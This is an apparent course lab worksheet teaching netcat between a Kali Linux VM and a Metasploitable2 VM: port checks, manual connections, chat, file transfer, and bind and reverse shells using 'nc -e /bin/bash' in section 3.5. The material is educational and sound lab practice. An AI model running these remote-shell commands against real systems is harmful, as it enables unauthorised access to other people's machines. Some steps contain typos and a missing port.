Kali-Lab 03: Common Use of Netcat (nc)

Objectives

You will learn some ways to use netcat (nc):

  • Determine if the target port is open.
  • Connecting to a TCP/UDP Port.
  • Listening to a TCP/UDP Port.
  • Transferring Files with netcat.
  • Remote Administration with netcat.

Lab Procedures

Turn on the Kali Linux VM and Metasploitable2 VM. Enter sudo ifconfig to check their IP address and record them into the following box:

Then log into Kali Linux and Metasploitable2 VM using PuTTY application.

3.1 Determine if the Target Port Is Open

  1. Port Open
    Typing nc -vz 192.168.247.xxx 22 command and press ENTER on Kali Linux. (Chang 192.168.247.xxx to the IP address of Metasploitabel VM)
    Record the output here:
  2. Port Close
    Typing nc -vz 192.168.247.xxx 8080 command and press ENTER on Kali Linux. (Chang 192.168.247.xxx to the IP address of Metasploitabel VM)
    Record the output here:

3.2 Connecting to a TCP/UDP Port

netcat can be used to check port opened or closed, and to connect to a network service manually.

  1. Entering nc -nv 192.168.247.xxx 80 command and press ENTER on Kali Linux. (Chang 192.168.247.xxx to the IP address of Metasploitabel VM).
  2. Typing GET and press ENTER on Kali Linux. Check the output and record your observation here:

3.3 Listening on a TCP/UDP Port

netcat is a useful tool for network debugging. It can be used as a server listening on a TCP/UDP port, and then client applications can be debugged. Let us implement a simple CHAT, which involves two machines that use netcat on both as one client and one server.

  1. Setup netcat to listen for incoming connections on TCP port 6666. Type nc - nlvp 6666 command and press ENTER on the Metasploitable2 VM.

    ~$ nc -nlvp 6666
    listening on [any] 6666 ...

  2. Once the port 6666 is bound to Netcat on the Metasploitable2, you can connect to that port from Kali Linux to interact whit it. Type nc -nv 192.168.247.xxx 6666 and press the ENTER on the Kali Linux. (Change the IP address 192.168.247.xxx to the IP address of your Metasploitable2 VM)
  3. Then, Type the following string on the Kali Linux:
    This chat is from the Kali Linux system
  4. Record your observation on the Metasploitable2 VM:

This is a simple exercise which demonstrates serval important features in the netcat. Answer the following question in this section:

  1. Which machine acted as the netcat server?
  2. Which machine acted as the netcat client?
  3. On which machine was port 6666 actually opened?

3.4 Transferring Files with netcat

netcat also can be used to tranfer files.

  1. Create a new directory on Metasploitable VM by entering the following commands:

    cd ~
    mkdir test
    cd test

  2. Enter nc -nlvp 6666 > demoRcvd.txt on Metasploitable2 VM.
  3. Create a text file on Kali Linux by entering nano demo.txt command and typing the following text in the file:

    This is a demo string.

  4.  Now, we will use netcat to transfer demo.txt file to Metasploitable VM. Typing nc -nv 192.168.247.130 6666 < demo.txt and press ENTER.
  5. Press CTRL+C to stop netcat.
  6. Check whether there is a file received in Metasploitable VM, and open the file by entering nano demoRcvd.txt to view the content.
    Compare the content you received with the original file, record your observation below:

3.5 Remote Control

One of the most useful features of netcat is that it can take an executable file and redirect the input, output, and error messages to the TCP/UDP port rather than the default console.

netcat Bind shell

  1. Entering nc -nlvp 6666 -e /bin/bash on Metasploitable VM.
  2. Now, let us send a reverse shell from Kali Linux to Metasploitable by entering nc -nv 192.168.127.xxx command on the Kali Linux.
  3. Once you are successfully connecting the Kali Linux to the Metasploitable VM, type some Linux shell commands (such as ls -la, or pwd ...) and press ENTER.
    Record your observation on the output:
  4. Press CTRL+C to stop netcat.

netcal Reverse Shell

  1. Entering nc -nlvp 6666 on Metasploitable VM.
  2. Then, entering nc -nv 192.168.247.xxx -e /bin/bash command on the Kali Linux.
  3. Now, you can execute a command in this reverse shell. Enter id, pwd, or other shell commands on Metasploitable VM.
    Record your observation on the output:
  4. Press CTRL+C to stop netcat.

Shutdown the Kali Linux and Metasploitable2 VM by using sudo shutdown -P now command on both terminals, then submit your report.